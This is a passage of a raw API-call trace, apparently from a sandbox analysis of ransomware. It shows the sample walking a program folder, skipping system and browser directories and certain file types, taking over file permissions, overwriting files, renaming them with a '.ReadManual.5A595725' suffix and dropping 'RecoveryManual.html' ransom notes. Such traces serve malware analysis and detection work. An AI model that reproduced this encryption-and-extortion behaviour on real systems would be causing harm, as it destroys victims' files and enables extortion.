ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bfec0 [0250.422] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\" [0250.422] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.422] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0250.422] lstrcpyW (in: lpString1=0x6ab8e8, lpString2="Common.fxh" | out: lpString1="Common.fxh") returned="Common.fxh" [0250.422] lstrcmpiW (lpString1="Common.fxh", lpString2="RecoveryManual.html") returned -1 [0250.422] StrStrIW (lpFirst="Common.fxh", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.422] StrCmpIW (psz1="fxh", psz2="exe") returned 1 [0250.422] StrCmpIW (psz1="fxh", psz2="dll") returned 1 [0250.422] StrCmpIW (psz1="fxh", psz2="sys") returned -1 [0250.422] StrCmpIW (psz1="fxh", psz2="msi") returned -1 [0250.422] StrCmpIW (psz1="fxh", psz2="mui") returned -1 [0250.422] StrCmpIW (psz1="fxh", psz2="inf") returned -1 [0250.422] StrCmpIW (psz1="fxh", psz2="cat") returned 1 [0250.422] StrCmpIW (psz1="fxh", psz2="bat") returned 1 [0250.422] StrCmpIW (psz1="fxh", psz2="cmd") returned 1 [0250.422] StrCmpIW (psz1="fxh", psz2="ps1") returned -1 [0250.422] StrCmpIW (psz1="fxh", psz2="vbs") returned -1 [0250.422] StrCmpIW (psz1="fxh", psz2="ttf") returned -1 [0250.422] StrCmpIW (psz1="fxh", psz2="fon") returned 1 [0250.422] StrCmpIW (psz1="fxh", psz2="lnk") returned -1 [0250.422] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Common.fxh" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Common.fxh") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Common.fxh" [0250.422] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Common.fxh", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Common.fxh.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Common.fxh.ReadManual.5A595725" [0250.422] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Common.fxh.ReadManual.5A595725") returned 68 [0250.422] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=37109110557) returned 1 [0250.422] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh")) returned 0x20 [0250.423] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.423] GetLastError () returned 0x5 [0250.424] GetNamedSecurityInfoW () returned 0x0 [0250.424] SetNamedSecurityInfoW () returned 0x0 [0250.424] SetNamedSecurityInfoW () returned 0x0 [0250.425] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0250.425] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=12516) returned 1 [0250.425] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30e4, lpName=0x0) returned 0x194 [0250.425] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x98) returned 1 [0250.425] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.425] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0250.427] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0250.427] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x30e4) returned 0x2f0000 [0250.427] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.427] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=37109587653) returned 1 [0250.427] CloseHandle (hObject=0x194) returned 1 [0250.427] SetSecurityInfo () returned 0x5 [0250.427] SetSecurityInfo () returned 0x5 [0250.427] LocalFree (hMem=0x674d38) returned 0x0 [0250.427] CloseHandle (hObject=0x190) returned 1 [0250.427] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\" [0250.427] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\RecoveryManual.html" [0250.428] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0250.428] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0250.429] CloseHandle (hObject=0x190) returned 1 [0250.429] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1 [0250.429] lstrcpyW (in: lpString1=0x6ab8e8, lpString2="DissolveAnother.png" | out: lpString1="DissolveAnother.png") returned="DissolveAnother.png" [0250.429] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="RecoveryManual.html") returned -1 [0250.429] StrStrIW (lpFirst="DissolveAnother.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.429] StrCmpIW (psz1="png", psz2="exe") returned 1 [0250.429] StrCmpIW (psz1="png", psz2="dll") returned 1 [0250.429] StrCmpIW (psz1="png", psz2="sys") returned -1 [0250.429] StrCmpIW (psz1="png", psz2="msi") returned 1 [0250.429] StrCmpIW (psz1="png", psz2="mui") returned 1 [0250.429] StrCmpIW (psz1="png", psz2="inf") returned 1 [0250.429] StrCmpIW (psz1="png", psz2="cat") returned 1 [0250.429] StrCmpIW (psz1="png", psz2="bat") returned 1 [0250.429] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0250.429] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0250.429] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0250.429] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0250.429] StrCmpIW (psz1="png", psz2="fon") returned 1 [0250.429] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0250.429] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" [0250.429] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.ReadManual.5A595725" [0250.429] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.ReadManual.5A595725") returned 77 [0250.429] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=37109821865) returned 1 [0250.430] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png")) returned 0x20 [0250.430] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.430] GetLastError () returned 0x5 [0250.431] GetNamedSecurityInfoW () returned 0x0 [0250.431] SetNamedSecurityInfoW () returned 0x0 [0250.431] SetNamedSecurityInfoW () returned 0x0 [0250.432] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0250.432] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=27935) returned 1 [0250.432] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d1f, lpName=0x0) returned 0x194 [0250.432] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xaa) returned 1 [0250.432] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.432] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0250.434] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0250.434] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d1f) returned 0x2f0000 [0250.434] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.434] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=37110488090) returned 1 [0250.436] CloseHandle (hObject=0x194) returned 1 [0250.436] SetSecurityInfo () returned 0x5 [0250.436] SetSecurityInfo () returned 0x5 [0250.436] LocalFree (hMem=0x674d38) returned 0x0 [0250.436] CloseHandle (hObject=0x190) returned 1 [0250.436] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1 [0250.436] lstrcpyW (in: lpString1=0x6ab8e8, lpString2="DissolveNoise.png" | out: lpString1="DissolveNoise.png") returned="DissolveNoise.png" [0250.437] lstrcmpiW (lpString1="DissolveNoise.png", lpString2="RecoveryManual.html") returned -1 [0250.437] StrStrIW (lpFirst="DissolveNoise.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.437] StrCmpIW (psz1="png", psz2="exe") returned 1 [0250.437] StrCmpIW (psz1="png", psz2="dll") returned 1 [0250.437] StrCmpIW (psz1="png", psz2="sys") returned -1 [0250.437] StrCmpIW (psz1="png", psz2="msi") returned 1 [0250.437] StrCmpIW (psz1="png", psz2="mui") returned 1 [0250.437] StrCmpIW (psz1="png", psz2="inf") returned 1 [0250.437] StrCmpIW (psz1="png", psz2="cat") returned 1 [0250.437] StrCmpIW (psz1="png", psz2="bat") returned 1 [0250.437] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0250.437] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0250.437] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0250.437] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0250.437] StrCmpIW (psz1="png", psz2="fon") returned 1 [0250.437] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0250.437] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" [0250.437] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.ReadManual.5A595725" [0250.437] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.ReadManual.5A595725") returned 75 [0250.437] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=37110582639) returned 1 [0250.437] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png")) returned 0x20 [0250.437] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.437] GetLastError () returned 0x5 [0250.437] GetNamedSecurityInfoW () returned 0x0 [0250.438] SetNamedSecurityInfoW () returned 0x0 [0250.438] SetNamedSecurityInfoW () returned 0x0 [0250.438] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0250.439] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=751669) returned 1 [0250.439] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb7835, lpName=0x0) returned 0x194 [0250.439] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xa6) returned 1 [0250.439] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.439] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0250.441] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0250.441] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb7835) returned 0x2690000 [0250.459] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0250.460] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=37112894442) returned 1 [0250.460] CloseHandle (hObject=0x194) returned 1 [0250.460] SetSecurityInfo () returned 0x5 [0250.460] SetSecurityInfo () returned 0x5 [0250.460] LocalFree (hMem=0x674d38) returned 0x0 [0250.460] CloseHandle (hObject=0x190) returned 1 [0250.461] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="DVDSTY~1")) returned 1 [0250.461] lstrcpyW (in: lpString1=0x69b8e8, lpString2="DvdStyles" | out: lpString1="DvdStyles") returned="DvdStyles" [0250.461] lstrcatW (in: lpString1="DvdStyles", lpString2="\\" | out: lpString1="DvdStyles\\") returned="DvdStyles\\" [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch=":\\Windows\\") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch=":\\WINNT") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.461] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.461] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned 48 [0250.461] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff00 [0250.463] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0250.463] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.464] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0250.464] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="16to9Squareframe_Buttongraphic.png" | out: lpString1="16to9Squareframe_Buttongraphic.png") returned="16to9Squareframe_Buttongraphic.png" [0250.464] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="RecoveryManual.html") returned -1 [0250.464] StrStrIW (lpFirst="16to9Squareframe_Buttongraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.464] StrCmpIW (psz1="png", psz2="exe") returned 1 [0250.464] StrCmpIW (psz1="png", psz2="dll") returned 1 [0250.464] StrCmpIW (psz1="png", psz2="sys") returned -1 [0250.464] StrCmpIW (psz1="png", psz2="msi") returned 1 [0250.464] StrCmpIW (psz1="png", psz2="mui") returned 1 [0250.464] StrCmpIW (psz1="png", psz2="inf") returned 1 [0250.464] StrCmpIW (psz1="png", psz2="cat") returned 1 [0250.464] StrCmpIW (psz1="png", psz2="bat") returned 1 [0250.464] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0250.464] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0250.465] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0250.465] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0250.465] StrCmpIW (psz1="png", psz2="fon") returned 1 [0250.465] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0250.465] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" [0250.465] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD 